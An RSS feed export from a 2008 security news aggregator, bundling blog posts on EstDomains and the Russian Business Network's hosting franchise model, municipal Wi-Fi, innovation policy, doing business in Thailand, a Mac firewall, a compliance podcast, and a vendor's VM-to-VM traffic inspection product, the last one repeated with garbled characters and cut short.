<?xml version="1.0" encoding="utf-8"?>
<rss xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title><![CDATA[[SecurityRatty] tag: sustainable]]></title>
    <link>http://securityratty.com/tag/sustainable</link>
    <description></description>
    <pubDate>Thu, 28 Feb 2008 19:26:00 +0000</pubDate>
    <generator>iRatty Engine</generator>
    <docs>http://blogs.law.harvard.edu/tech/rss</docs>
    <item>
      <title><![CDATA[EstDomains and Intercage VS Cybercrime]]></title>
      <link>http://securityratty.com/article/54303a8239cd0becf5843fb3552a50a8</link>
      <guid>http://securityratty.com/article/54303a8239cd0becf5843fb3552a50a8</guid>
      <description><![CDATA[Surreal, especially when you get to read that EstDomains has &quot; ruthlessly suspended over five thousand domains only for last week &quot;, and also, that it &quot; has a reliable ally in its battle against...]]></description>
      <content:encoded><![CDATA[<div style="text-align: left;"></div><div style="text-align: left;"></div><div style="text-align: left;"></div><div class="separator" style="clear: both; text-align: center;"></div><a href="http://3.bp.blogspot.com/_wICHhTiQmrA/SM7tc-r3kHI/AAAAAAAACKc/aUL1ohUu-Zc/s1600-h/estdomain_alert.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/_wICHhTiQmrA/SM7tc-r3kHI/AAAAAAAACKc/yiFaA33Sfdw/s200-R/estdomain_alert.png" /></a>Surreal, especially when you get to read that EstDomains has "<i>ruthlessly suspended over five thousand domains only for last week</i>", and also, that it "<i>has a reliable ally in its battle against malware in a face of Intercage, Inc</i>".<br />
<br />
Here's <a href="http://www.domainnews.com/en/general/estdomains-denies-links-to-malware-distribution.html">the press release</a> :<br />
<br />
"<i>The EstDomains, Inc management does not deny the fact that no one is secured from having a customer who uses provided services for delinquent purposes. But it must be noted that the carefully planned infrastructure of EstDomains, Inc makes the special provision for the cases of malware distribution that may originate from the domain name registered under the company's name. Such domain names are suspended immediately along with domain holder's account if there is an evidence of malware presence on the web site. <b>According to the most recent statistics over five thousand domain names were detected and ruthlessly suspended by EstDomains, Inc specialists only last week.</b><br />
<br />
<b>The company also has a reliable ally in its battle against malware in a face of Intercage, Inc which provides company with the hosting services of the highest quality.</b> But the outstanding performance of hosting services is not the sole reason why EstDomains, Inc appreciates this partnership so greatly. Intercage, Inc generously provides EstDomains, Inc specialists with reports regarding discovered malware vehicles. As the main database for additional domain name management services is located in Intercage Data Center, EstDomains, Inc has the perfect opportunity to get notifications of the slightest mark of malware presence in the shortest time and take measures in advance.</i> "<br />
<br />
The press release reminds me of <a href="http://ddanchev.blogspot.com/2008/04/hacked-by-rbn.html">RBN's defacement of my blog</a> posted on the 1st of April, and despite that <a href="http://www.malwarebytes.org/forums/index.php?showtopic=6159">EstDomains started "performing for the community"</a> as of recently, thanks to the collective intelligence and persistence of everyone turning their research into actionable intelligence against them, this performance aiming to minimize the effect of the negative PR is more or less futile considering <a href="http://www.spyware-techie.com/malicious-website-list/">all the cybercrime activities that they've been tolerating or ignoring</a> for the past couple of years. For future generations to see, <a href="http://www.malwarebytes.org/forums/index.php?showtopic=6159">this is how EstDomains "performs for the community"</a> :<br />
<br />
"<i>We've suspended all the domains listed in this topic. But please don't make posting these domains on this forum a habit. We have a 24/7 online tech support which can be contacted at <a href="https://support.estdomains.com/" target="_blank">https://support.estdomains.com</a><br />
<br />
Best regards,<br />
EstDomains Team&nbsp;</i><br />
<br />
<i>EstMate says : Ihatemondayand.com and antispycheck.com - both suspended. If any of the suspended websites are still active to you it maybe be because of your computer's or ISP's DNS-cache, others won't be able to access these websites</i><br />
<br />
<i>googlescanners-360.com isn't registered with us. As for other domains, the ones, which were registered through us, have been suspended. Regarding our preventive measures, the fact that you don't see them doesn't mean there isn't any. Yes, we don't write about them but in most cases we suspend whole accounts with problematic domains and look for connections to other accounts etc. During the last week we've suspended over 15000 different domains.</i>"<br />
<br />
What's more disturbing regarding this particular domain registrar is that it's a U.S based operation, namely, using the lack of international cybercrime cooperation as an excuse for not taking actions earlier doesn't fit into the picture. Moreover, this is just the tip of the iceberg, and taking into consideration a personal mentality that the cybercriminals you know are better than the cybercriminals you don't know, the RBN or any of its "leftovers" aren't fully taking advantage of the tactics they could be using in order to make it harder to shut them down, but how come? Simply, they don't have to put extra efforts and would once again remain online for years to come, which is perhaps more disturbing at the first place.<br />
<br />
What in the world is the Russian Business Network, is it still alive and kicking, are the same people that used to maintain my favorite netblock ever, still the ones running it, and what tactics are they taking advantage of in order to make it harder for the community to establish direct links with a particular netblock and the RBN itself?<br />
<br />
With RBN's "leftovers" -- <b>InterCage, Inc., Softlayer Technologies, Layered Technologies, Inc., Ukrtelegroup Ltd, Turkey Abdallah Internet Hizmetleri, and Hostfresh --</b> making headlines just like the way it should be, what I've been researching for the past couple of months is how they've migrated from the centralized hosting provider to what appears to be a fully operational franchise. The business model is very simple, the RBN through its extensive underground networking skills supplies to customers to franchisers operating small anti-abuse netblocks across the globe, where they offer dedicated hosting and share revenue with the RBN. Anyone trusted enough and capable of supplying such netblocks starts running the RBN anti-abuse franchise. It's also worth pointing out that these franchises are in fact starting to cut the middle man, and disintermediate the RBN by actively advertising their services in order for them to create a self-sustainable business model without having to rely on the RBN connecting them with customers.<br />
<br />
What used to be a centralized cybercrime powerhouse operating several highly visible anti-abuse netblocks, is today's decentralized infrastructure, with the profit margins for the anti-abuse services that it's logically capable to break-even and earn profits even with a few high profile dedicated hosting customers. Anyone can be the Russian Business Network, gain experience into the market segment, then disintermediate them by starting to advertise their own services. From a powerhouse to a franchise model, what the RBN had to offer can be easily duplicated by a countless number of local RBN's, and this is only starting to take place.<br />
<br />
<b>Related posts:</b><br />
<a href="http://ddanchev.blogspot.com/2008/07/lazy-summer-days-at-ukrtelegroup-ltds.html">Lazy Summer Days at UkrTeleGroup Ltd. </a><br />
<a href="http://ddanchev.blogspot.com/2008/06/malicious-isps-you-rarely-see-in-any.html">The Malicious ISPs you Rarely See in Any Report</a><br />
<a href="http://ddanchev.blogspot.com/2008/02/geolocating-malicious-isps.html">Geolocationg Malicious ISPs</a><br />
<a href="http://ddanchev.blogspot.com/2008/03/new-media-malware-gang-part-four.html">The New Media Malware Gang - Part Four</a><br />
<a href="http://ddanchev.blogspot.com/2008/02/new-media-malware-gang-part-three.html">The New Media Malware Gang - Part Three</a><br />
<a href="http://ddanchev.blogspot.com/2007/12/new-media-malware-gang-part-two.html">The New Media Malware Gang - Part Two</a><br />
<a href="http://ddanchev.blogspot.com/2007/11/new-media-malware-gang.html">The New Media Malware Gang</a><br />
<a href="http://ddanchev.blogspot.com/2008/01/rbns-fake-account-suspended-notices.html">RBN's Fake Account Suspended Notices </a><br />
<a href="http://ddanchev.blogspot.com/2008/04/hacked-by-rbn.html">HACKED BY THE RBN!</a><br />
<a href="http://ddanchev.blogspot.com/2008/03/rogue-rbn-software-pushed-through.html">Rogue RBN Software Pushed Through Blackhat SEO</a><br />
<a href="http://ddanchev.blogspot.com/2008/02/rbns-phishing-activities.html">RBN's Phishing Activities</a><br />
<a href="http://ddanchev.blogspot.com/2008/02/rbns-malware-puppets-need-their-master.html">RBN's Puppets Need Their Master</a><br />
<a href="http://ddanchev.blogspot.com/2008/01/rbns-fake-account-suspended-notices.html">RBN's Fake Account Suspended Notices</a><br />
<a href="http://ddanchev.blogspot.com/2007/12/diverse-portfolio-of-fake-security.html">A Diverse Portfolio of Fake Security Software</a><br />
<a href="http://ddanchev.blogspot.com/2007/11/go-to-sleep-go-to-sleep-my-little-rbn.html">Go to Sleep, Go to Sleep my Little RBN</a><br />
<a href="http://ddanchev.blogspot.com/2007/11/exposing-russian-business-network.html">Exposing the Russian Business Network</a><br />
<a href="http://ddanchev.blogspot.com/2007/11/detecting-and-blocking-russian-business.html">Detecting the Blocking the Russian Business Network</a><br />
<a href="http://ddanchev.blogspot.com/2007/10/over-100-malwares-hosted-on-single-rbn.html">Over 100 Malwares Hosted on a Single RBN IP</a><br />
<a href="http://ddanchev.blogspot.com/2007/10/rbns-fake-security-software.html">RBN's Fake Security Software</a><br />
<a href="http://ddanchev.blogspot.com/2007/10/russian-business-network.html">The Russian Business Network</a><b> <br />
</b><div class="feedflare">
<a href="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?a=CWZlL"><img src="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?i=CWZlL" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?a=wdsJL"><img src="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?i=wdsJL" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?a=6wf1l"><img src="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?i=6wf1l" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?a=JLXVl"><img src="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?i=JLXVl" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?a=fkyiL"><img src="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?i=fkyiL" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?a=l6gML"><img src="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?i=l6gML" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?a=kPS6l"><img src="http://feeds.feedburner.com/~f/DanchoDanchevOnSecurityAndNewMedia?i=kPS6l" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/DanchoDanchevOnSecurityAndNewMedia/~4/394232850" height="1" width="1"/>]]></content:encoded>
      <pubDate>Tue, 16 Sep 2008 05:09:44 +0000</pubDate>
      <category domain="http://securityratty.com/tag/single rbn">single rbn</category>
      <category domain="http://securityratty.com/tag/rbn">rbn</category>
      <category domain="http://securityratty.com/tag/rbn anti-abuse franchise">rbn anti-abuse franchise</category>
      <category domain="http://securityratty.com/tag/estdomains">estdomains</category>
      <category domain="http://securityratty.com/tag/malware">malware</category>
      <category domain="http://securityratty.com/tag/malware distribution">malware distribution</category>
      <category domain="http://securityratty.com/tag/thousand domain names">thousand domain names</category>
      <category domain="http://securityratty.com/tag/domain names">domain names</category>
      <category domain="http://securityratty.com/tag/rogue rbn software">rogue rbn software</category>
      <source url="http://feeds.feedburner.com/~r/DanchoDanchevOnSecurityAndNewMedia/~3/394232850/estdomains-and-intercage-vs-cybercrime.html">EstDomains and Intercage VS Cybercrime</source>
    </item>
    <item>
      <title><![CDATA[Premature Update on Philadelphia Wi-Fi]]></title>
      <link>http://securityratty.com/article/95922e41bb691a60a525baab81a41942</link>
      <guid>http://securityratty.com/article/95922e41bb691a60a525baab81a41942</guid>
      <description><![CDATA[I'm not sure why this article was written, as there appears to be nothing particularly newsworthy in it: The News.com reporter Marguerite Reardon has covered muni-Fi for as long as I have, and after...]]></description>
      <content:encoded><![CDATA[<p><img src="http://wifinetnews.com/images/muni_icon.jpg" align="right" border="0" hspace="5" /><a href="http://news.cnet.com/8301-1035_3-10033386-94.html"><strong>I'm not sure why this article was written, as there appears to be nothing particularly newsworthy in it:</strong></a> The News.com reporter Marguerite Reardon has covered muni-Fi for as long as I have, and after reading this in-depth piece, I'm left wondering whether it was assigned far too early, and she was meeting an editorial desk requirement instead of feeling like the story was ready to "print." The article looks at Network Acquisition Corp. (NAC), the allegedly interim name for the group that's taken over Phila-Fi. </p>

<p>One source at the Knight Center for Digital Excellence notes, "The new network owners are supposed to have a much more sustainable business model." <em>Supposed to.</em> Later, "Network Acquisition Company, which acquired the network, hasn't talked publicly about the details of its new plan, but it has hinted that its strategy will differ from EarthLink's." <em>Hasn't talked publicly.</em> Then, "[NAC and Tropos] spokespeople said the companies would talk more about the network later this month when details of the new business plan are ready." Huh.</p>

<p>Reardon explains digital divide issues and looks into what Wireless Philadelphia has been up to, although doesn't note that delays in EarthLink's deployment and other factors have led to just a few hundred individuals that have been assisted by the non-profit; numbers may have changed, but that was as of a few months ago. Still, Wireless Philadelphia has apparently diversified its funding sources--Reardon cites 30 now.</p>

<p>I think we're still coming off the doldrums of August.</p>]]></content:encoded>
      <pubDate>Fri, 05 Sep 2008 09:23:51 +0000</pubDate>
      <category domain="http://securityratty.com/tag/network">network</category>
      <category domain="http://securityratty.com/tag/network acquisition company">network acquisition company</category>
      <category domain="http://securityratty.com/tag/network acquisition corp">network acquisition corp</category>
      <category domain="http://securityratty.com/tag/network owners">network owners</category>
      <category domain="http://securityratty.com/tag/wireless philadelphia">wireless philadelphia</category>
      <category domain="http://securityratty.com/tag/sustainable business model">sustainable business model</category>
      <category domain="http://securityratty.com/tag/editorial desk requirement">editorial desk requirement</category>
      <category domain="http://securityratty.com/tag/plan">plan</category>
      <category domain="http://securityratty.com/tag/digital excellence notes">digital excellence notes</category>
      <source url="http://wifinetnews.com/archives/008431.html">Premature Update on Philadelphia Wi-Fi</source>
    </item>
    <item>
      <title><![CDATA[inNOvation]]></title>
      <link>http://securityratty.com/article/1cd8dbd3a11c8ad7a25d72724c2bece8</link>
      <guid>http://securityratty.com/article/1cd8dbd3a11c8ad7a25d72724c2bece8</guid>
      <description><![CDATA[It is amazing to me that in a seemingly tight Presidential race that NEITHER candidate has made innovation an issue, this article from the NYT on former Cisco CTO Judy Estrin

I am generally not an...]]></description>
      <content:encoded><![CDATA[<p>It is amazing to me that in a seemingly tight Presidential race that NEITHER candidate has made innovation an issue, this <a href="http://www.nytimes.com/2008/09/01/technology/01estrin.html">article</a> from the NYT on former Cisco CTO Judy Estrin:</p><br /><blockquote class="webkit-indent-blockquote" style="margin: 0 0 0 40px; border: none; padding: 0px;"><p><span style="font-family: Georgia; font-size: 15px; line-height: 22px; ">“I am generally not an alarmist, but I have become more and more concerned about the state of our country and its innovation,” she said last week, explaining why she wrote her book, “Closing the Innovation Gap,” which arrives in bookstores Tuesday. “We have a national innovation deficit.”</span></p></blockquote><blockquote class="webkit-indent-blockquote" style="margin: 0 0 0 40px; border: none; padding: 0px;"><p><span style="font-family: Georgia; font-size: 15px; line-height: 22px;"><br /></span><span style="font-family: Georgia; font-size: 15px; line-height: 22px; ">Ms. Estrin’s book is the latest call to action during the last several years by scientists, technologists and political leaders worried about the country’s future competitiveness in technology.</span><br /><span style="font-family: Georgia; font-size: 15px; line-height: 22px; "><br /></span></p></blockquote><blockquote class="webkit-indent-blockquote" style="margin: 0 0 0 40px; border: none; padding: 0px;"><p><span style="font-family: Georgia; font-size: 15px; line-height: 22px; ">In 2005, the National Academies published “Rising Above the Gathering Storm,” a report requested by Congress, which found that federal financing of research in the physical sciences was 45 percent less in 2004 than in 1976 and that 93 percent of students in grades five through eight learn science from teachers who do not hold degrees or certifications in the topics.</span></p></blockquote><blockquote class="webkit-indent-blockquote" style="margin: 0 0 0 40px; border: none; padding: 0px;"><p><span style="font-family: Georgia; font-size: 15px; line-height: 22px;">...</span></p></blockquote><blockquote class="webkit-indent-blockquote" style="margin: 0 0 0 40px; border: none; padding: 0px;"><p><span style="font-family: Georgia; font-size: 15px; line-height: 22px;">“There is a remarkable telescoping in of vision and an unwillingness to make long-term bets,” said Vinton G. Cerf, the chief Internet evangelist at&#160;<a href="http://topics.nytimes.com/top/news/business/companies/google_inc/index.html?inline=nyt-org" style="color: #004276; text-decoration: underline; " title="More information about Google Inc">Google</a>.<br /></span></p></blockquote><p><span style="font-family: Georgia; font-size: 15px; line-height: 22px;"><br />Geez, its like no one ever read </span><a href="http://www.edgeperspectives.com/index3.shtml">&quot;The Only Sustainable Edge&quot;</a><span style="font-family: Georgia; font-size: 15px; line-height: 22px;"> or something...<br /></span></p><blockquote class="webkit-indent-blockquote" style="margin: 0 0 0 40px; border: none; padding: 0px;"><p><span style="font-family: Georgia; font-size: 15px; line-height: 22px;"><br /></span></p></blockquote>]]></content:encoded>
      <pubDate>Tue, 02 Sep 2008 10:20:54 +0000</pubDate>
      <category domain="http://securityratty.com/tag/innovation">innovation</category>
      <category domain="http://securityratty.com/tag/national innovation deficit">national innovation deficit</category>
      <category domain="http://securityratty.com/tag/innovation gap">innovation gap</category>
      <category domain="http://securityratty.com/tag/chief internet evangelist">chief internet evangelist</category>
      <category domain="http://securityratty.com/tag/estrins book">estrins book</category>
      <category domain="http://securityratty.com/tag/book">book</category>
      <category domain="http://securityratty.com/tag/countrys future competitiveness">countrys future competitiveness</category>
      <category domain="http://securityratty.com/tag/percent">percent</category>
      <category domain="http://securityratty.com/tag/long-term bets">long-term bets</category>
      <source url="http://1raindrop.typepad.com/1_raindrop/2008/09/innovation.html">inNOvation</source>
    </item>
    <item>
      <title><![CDATA[As They Say: When in Rome, Do as the Romans.]]></title>
      <link>http://securityratty.com/article/624f835f95a4530197ae74e67f88feb4</link>
      <guid>http://securityratty.com/article/624f835f95a4530197ae74e67f88feb4</guid>
      <description><![CDATA[Recently I had a nice conversation with the head of Asia-Pacific of an international company about how to succeed in Thailand. I explained how businesses in Thailand do not respond well to companies...]]></description>
      <content:encoded><![CDATA[<p>Recently I had a nice conversation with the head of Asia-Pacific of an international company about how to succeed in Thailand.   I explained how businesses in Thailand do not respond well to companies that come to Thailand with no experience, track record or support infrastructure here in the Kingdom.  I also explained how Thailand has a strong cultural tradition around &#8220;the teacher culture,&#8221; where teachers are considered much higher than mere consultants and integrators.</p>
<p>The conversation went well, I thought, until I received a call from another person in the company who proceeded to tell me how to do business in Thailand and how to determine the target market, and how to set up sales.   Now mind you, I had already explained that there would be no immediate sales opportunities for a few years, realistically, and that this was a long term initiative, designed around a solid education and training program - build infrastructure first.  From a strong education and training program, the market would become clear.</p>
<p>This is such a simple win-win-win situation, but companies do not seem to understand it.  They just want to exploit every contact, event situation, for a quarterly sell.   Why not take the long view as well, since it does not cost you any money?</p>
<p>The guy on the other end of the phone would have nothing to do with our way of thinking in Thailand.  He seemed to be  pushing to insure pre-sales contact immediately.   Instead of supporting us, he wanted to manage us from overseas!!  We asked for support to build their brand, what they seemed to offer was management by proxy!</p>
<p>Folks, this will not work in Thailand (or most Asia countries).</p>
<p>If you want to tap into the fast growing Asia market, leave behind your aggressive New York or Silicon Valley sales guns and forceful presale tactics, where you are content to find an opening, exploit it, make a sale, and report the sale on your quarterly report.  You can get aggressive when you have built a sustainable infrastructure.   The same is true in Japan, not only Thailand.</p>
<p>In Asia, do as the Asians.  In Rome, do as the Romans.  In Thailand, do as the Thais.  In Japan, do as the Japanese.</p>
<p>It is easy to make money in Thailand (and other Asia countries) if you follow their way of business.   Educate, teach, build a workforce, build a sustainable infrastructure on the ground, and then sell, sell, sell.</p>
<p>Granted, many companies do not have  resources to do this overseas.  In that case, enable your partners to do it and let them build the business; don&#8217;t manage them, support them.</p>
]]></content:encoded>
      <pubDate>Thu, 07 Aug 2008 06:19:13 +0000</pubDate>
      <category domain="http://securityratty.com/tag/asia">asia</category>
      <category domain="http://securityratty.com/tag/asia market">asia market</category>
      <category domain="http://securityratty.com/tag/thailand">thailand</category>
      <category domain="http://securityratty.com/tag/support">support</category>
      <category domain="http://securityratty.com/tag/support infrastructure">support infrastructure</category>
      <category domain="http://securityratty.com/tag/infrastructure">infrastructure</category>
      <category domain="http://securityratty.com/tag/asia countries">asia countries</category>
      <category domain="http://securityratty.com/tag/market">market</category>
      <category domain="http://securityratty.com/tag/sustainable infrastructure">sustainable infrastructure</category>
      <source url="http://www.thecepblog.com/2008/08/07/as-they-say-when-in-rome-do-as-the-romans/">As They Say: When in Rome, Do as the Romans.</source>
    </item>
    <item>
      <title><![CDATA[IPNetSentryX 1.6.5]]></title>
      <link>http://securityratty.com/article/c4ae14aaa0229a25a6ab5369ce06c4fb</link>
      <guid>http://securityratty.com/article/c4ae14aaa0229a25a6ab5369ce06c4fb</guid>
      <description><![CDATA[OS X includes a basic firewall that helps to protect your Mac from a variety of outside intruders, such as hackers trying to run spam-spewing robots. In Leopard, though, the firewall-which is disabled...]]></description>
      <content:encoded><![CDATA[OS X includes a basic firewall that helps to protect your Mac from a variety of outside intruders, such as hackers trying to run spam-spewing robots. In Leopard, though, the firewall-which is disabled by default-offers very little in the way of customization. At most you can specify programs and services (such as file sharing and screen sharing) to which outside connections are explicitly permitted or blocked. IPNetSentryX stands at the opposite end of the firewall software spectrum. The program from Sustainable Softworks has every bell and whistle that even the geekiest Mac user could hope for-and a complex user interface to match.]]></content:encoded>
      <pubDate>Mon, 21 Jul 2008 20:00:00 +0000</pubDate>
      <category domain="http://securityratty.com/tag/complex user interface">complex user interface</category>
      <category domain="http://securityratty.com/tag/firewall software spectrum">firewall software spectrum</category>
      <category domain="http://securityratty.com/tag/mac">mac</category>
      <category domain="http://securityratty.com/tag/mac user">mac user</category>
      <category domain="http://securityratty.com/tag/ipnetsentryx stands">ipnetsentryx stands</category>
      <category domain="http://securityratty.com/tag/hope for-and">hope for-and</category>
      <category domain="http://securityratty.com/tag/sustainable softworks">sustainable softworks</category>
      <category domain="http://securityratty.com/tag/basic firewall">basic firewall</category>
      <category domain="http://securityratty.com/tag/explicitly">explicitly</category>
      <source url="http://www.networkworld.com/news/2008/072208-ipnetsentryx.html?fsrc=rss-security">IPNetSentryX 1.6.5</source>
    </item>
    <item>
      <title><![CDATA[Speaking of Security Podcast #104]]></title>
      <link>http://securityratty.com/article/79cd3223604f3313d1a1d83c1d5464e9</link>
      <guid>http://securityratty.com/article/79cd3223604f3313d1a1d83c1d5464e9</guid>
      <description><![CDATA[Click to Listen/Download
Paul Joyal interview's the President of Corporate Integrity, Michael Rasmussen , about &quot;Developing a Sustainable and Cost Effective IT Compliance Program.&quot; For the companion...]]></description>
      <content:encoded><![CDATA[<a href="http://www.rsa.com/blog/blog_entry.aspx?id=1280">Click to Listen/Download</a><br><br clear="all" />Paul Joyal interview's the President of Corporate Integrity, <a href="http://www.corp-integrity.com/about/bio_michael_rasmussen.html" target="_blank">Michael Rasmussen</a>, about &quot;Developing a Sustainable and Cost Effective  IT Compliance Program.&quot; For the companion white paper, <a href="https://www.rsa.com/go/wpt/wpindex.asp?WPID=9338" target="_blank">click  here</a>. Other RSA resources on this approach can be found at <a href="https://www.rsa.com/compliance">www.rsa.com/compliance</a>.]]></content:encoded>
      <pubDate>Sun, 11 May 2008 20:00:00 +0000</pubDate>
      <category domain="http://securityratty.com/tag/companion white paper">companion white paper</category>
      <category domain="http://securityratty.com/tag/rsa resources">rsa resources</category>
      <category domain="http://securityratty.com/tag/rsa">rsa</category>
      <category domain="http://securityratty.com/tag/paul joyal interview">paul joyal interview</category>
      <category domain="http://securityratty.com/tag/cost effective">cost effective</category>
      <category domain="http://securityratty.com/tag/compliance program">compliance program</category>
      <category domain="http://securityratty.com/tag/click">click</category>
      <category domain="http://securityratty.com/tag/listendownload">listendownload</category>
      <category domain="http://securityratty.com/tag/michael">michael</category>
      <source url="http://www.rsa.com/blog/blog_entry.aspx?id=1280">Speaking of Security Podcast #104</source>
    </item>
    <item>
      <title><![CDATA[Montego Networks spotted on radar]]></title>
      <link>http://securityratty.com/article/4d9820267de121abaf2386ca4443b52b</link>
      <guid>http://securityratty.com/article/4d9820267de121abaf2386ca4443b52b</guid>
      <description><![CDATA[Montego Networks has been flying under radar for the past year and this week increased its elevation just enough to be seen on the virtualization industries radar detector. Montego Networks...]]></description>
      <content:encoded><![CDATA[
<div xmlns="http://www.w3.org/1999/xhtml">

<p class="MsoNormal">&nbsp;</p>

<p class="MsoNormal"><a onclick="window.open(this.href, '_blank', 'width=400,height=300,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0'); return false" href="http://vmwaresecurity.typepad.com/.shared/image.html?/photos/uncategorized/2008/03/28/lfa.jpg"><img width="200" height="150" border="0" src="http://vmwaresecurity.typepad.com/security_in_the_virtual_w/images/2008/03/28/lfa.jpg" title="Lfa" alt="Lfa" style="margin: 0px 5px 5px 0px; float: left;" /></a>
Montego Networks has been flying under radar for the past
year and this week increased its elevation just enough to be seen on the
virtualization industries radar detector.&nbsp;Montego Network’s announcement of securing virtual network
communications between VM’s has everyone buzzing but what has caught most people’s
attention is Montego Network’s technology that enables 3<sup>rd</sup> party
security vendors to do the same thing (VM to VM).&nbsp;Now, I’m the CTO of Montego Networks, so my
comments here are a bit biased but also first hand.&nbsp;So, when I tell you that it’s been a great announcement,
I truelly feel it has.&nbsp;Everyone I have
spoken with in the analyst and press community thus far has embraced the idea
of security vendors <strong>working together</strong> to provide a solid solution vs. every
vendor trying to be all things to everybody.</p>

<p class="MsoNormal">So, what does this really mean and how does it work?</p>

<br /><p class="MsoNormal">Let’s say you have VM1 (Virtual Machine) and VM2 (Virtual Machine) and they need to be able to
transfer data between each other but only once or twice a week.&nbsp;This means you can’t have them 100%
isolated.&nbsp;Because you have a
communication need between them, it probably makes sense to only open up the channels
(TCP/UDP Ports) that they need to communicate on vs. opening up all
channels.&nbsp;This helps mitigate
exposure.&nbsp;So, let’s say you open up port
6667 and only port 6667 for them to communicate with each other.&nbsp;Well, this is now a bit more secure than the
other option of leaving all ports open but let’s say this is a very very
critical server and you want deep packet inspection done on all of its traffic.&nbsp;The reason you want to do this is because
there is the potential that worms and BOTnet communication could occur over
this port 6667 but the only way to determine that is to do deep packet
inspection.&nbsp; I am using port 6667 as the example because I spoke with someone that had a real live case where one of their Linux VM's got infected with this BOTnet:&nbsp; <a href="http://www.energymech.net/">http://www.energymech.net/ </a> on port 6667<br /></p>

<p class="MsoNormal">Now, I could put some sort
of virtual IPS product inline and look at Physical to Virtual communication for
all of the VM’s (VM1, VM2, VM3, VM4, etc.) but I don’t care to take that kind
of performance hit and I also already have a physical IPS handling Physical to
Virtual.&nbsp;What I really needs is IPS
between the VM’s which I haven’t been able to find from any vendor yet and even
if I did find such a solution on the market I don’t care to take the
performance hit of doing IPS between ALL VM’s.</p>

<p class="MsoNormal">So, now that you understand the challenge, how can Montego
help and what’s this HyperVSecurity thing they talked about in their press
release that allows other vendors to interoperate with them.&nbsp;Well, with Montego’s Policy Based Switching
technology you, the administrator can control what types of VM to VM traffic
you would like to have inspected by a 3<sup>rd</sup> party security
solution.&nbsp;I would simply set up a policy
that says VM1 to VM2 on port 6667 will have its traffic sent to a StillSecure
virtual IPS product and once a week when that traffic starts to flow it will be
sent over to the IPS product for further inspection.&nbsp;Or if traffic starts to flow outside that
once a week norm, it will still be sent for inspection.&nbsp;This way if some attacker tries to get in on
that port he will have to make sure he can get past the IPS that now is able to
VM to VM IPS.</p>

<p class="MsoNormal">Pretty cool huh?&nbsp;I
think so.</p>

<p class="MsoNormal">&nbsp;Now, back to Montego
coming out of stealth mode…</p>

<p class="MsoNormal">You’ll start to hear and see a lot more innovation coming
out of Montego Networks now that we’ve popped slightly above radar and the
industry knows we are here but is scrambling trying to figure out what exactly
we do, how sustainable will this new startup be and if we really have what we
say we have.&nbsp;I’m certain competing
companies will throw FUD and make all sorts of comments about what we do, how
it performs, etc. etc. and all I can say is to just keep an eye on the after
burners because we are starting to get lift off.</p>

<p class="MsoNormal">-JP </p>



</div>
]]></content:encoded>
      <pubDate>Fri, 28 Mar 2008 09:40:02 +0000</pubDate>
      <category domain="http://securityratty.com/tag/montego networks">montego networks</category>
      <category domain="http://securityratty.com/tag/montego">montego</category>
      <category domain="http://securityratty.com/tag/montego networks technology">montego networks technology</category>
      <category domain="http://securityratty.com/tag/montego networks announcement">montego networks announcement</category>
      <category domain="http://securityratty.com/tag/announcement">announcement</category>
      <category domain="http://securityratty.com/tag/virtual communication">virtual communication</category>
      <category domain="http://securityratty.com/tag/communication">communication</category>
      <category domain="http://securityratty.com/tag/party security vendors">party security vendors</category>
      <category domain="http://securityratty.com/tag/security vendors">security vendors</category>
      <source url="http://feeds.feedburner.com/~r/SecurityInTheVirtualWorld/~3/259672103/montego-network.html">Montego Networks spotted on radar</source>
    </item>
    <item>
      <title><![CDATA[Montego Networks spotted on radar]]></title>
      <link>http://securityratty.com/article/dc1a85dda5feb5df20ab8f1889ef96ee</link>
      <guid>http://securityratty.com/article/dc1a85dda5feb5df20ab8f1889ef96ee</guid>
      <description><![CDATA[Montego Networks has been flying under radar for the past year and this week increased its elevation just enough to be seen on the virtualization industries radar detector. Montego Network???s...]]></description>
      <content:encoded><![CDATA[
<div xmlns="http://www.w3.org/1999/xhtml">

<p class="MsoNormal">&nbsp;</p>

<p class="MsoNormal"><a onclick="window.open(this.href, '_blank', 'width=400,height=300,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0'); return false" href="http://vmwaresecurity.typepad.com/.shared/image.html?/photos/uncategorized/2008/03/28/lfa.jpg"><img width="200" height="150" border="0" src="http://vmwaresecurity.typepad.com/security_in_the_virtual_w/images/2008/03/28/lfa.jpg" title="Lfa" alt="Lfa" style="margin: 0px 5px 5px 0px; float: left;" /></a>
Montego Networks has been flying under radar for the past
year and this week increased its elevation just enough to be seen on the
virtualization industries radar detector.&nbsp;Montego Network???s announcement of securing virtual network
communications between VM???s has everyone buzzing but what has caught most people???s
attention is Montego Network???s technology that enables 3<sup>rd</sup> party
security vendors to do the same thing (VM to VM).&nbsp;Now, I???m the CTO of Montego Networks, so my
comments here are a bit biased but also first hand.&nbsp;So, when I tell you that it???s been a great announcement,
I truelly feel it has.&nbsp;Everyone I have
spoken with in the analyst and press community thus far has embraced the idea
of security vendors <strong>working together</strong> to provide a solid solution vs. every
vendor trying to be all things to everybody.</p>

<p class="MsoNormal">So, what does this really mean and how does it work?</p>

<br /><p class="MsoNormal">Let???s say you have VM1 (Virtual Machine) and VM2 (Virtual Machine) and they need to be able to
